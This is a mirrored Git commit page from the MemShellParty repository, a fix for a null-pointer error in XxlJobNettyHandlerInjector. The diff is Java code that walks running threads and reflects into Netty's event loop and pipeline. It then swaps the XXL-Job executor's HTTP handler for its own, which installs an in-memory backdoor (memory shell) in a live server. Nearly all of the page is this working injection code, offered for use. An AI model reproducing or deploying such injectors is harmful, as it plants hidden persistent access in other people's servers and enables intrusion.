mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: xxl-job NPE
This commit is contained in:
+11
-14
@@ -86,23 +86,20 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||||
Object target;
|
Object target;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||||
} catch (Exception e) {
|
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||||
continue;
|
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||||
}
|
if (!set.isEmpty()) {
|
||||||
|
Object keys = set.toArray()[0];
|
||||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||||
if (!set.isEmpty()) {
|
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||||
Object keys = set.toArray()[0];
|
System.out.println("xxl-job NettyHandler inject successful");
|
||||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
break;
|
||||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
}
|
||||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
|
||||||
System.out.println("xxl-job NettyHandler inject successful");
|
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user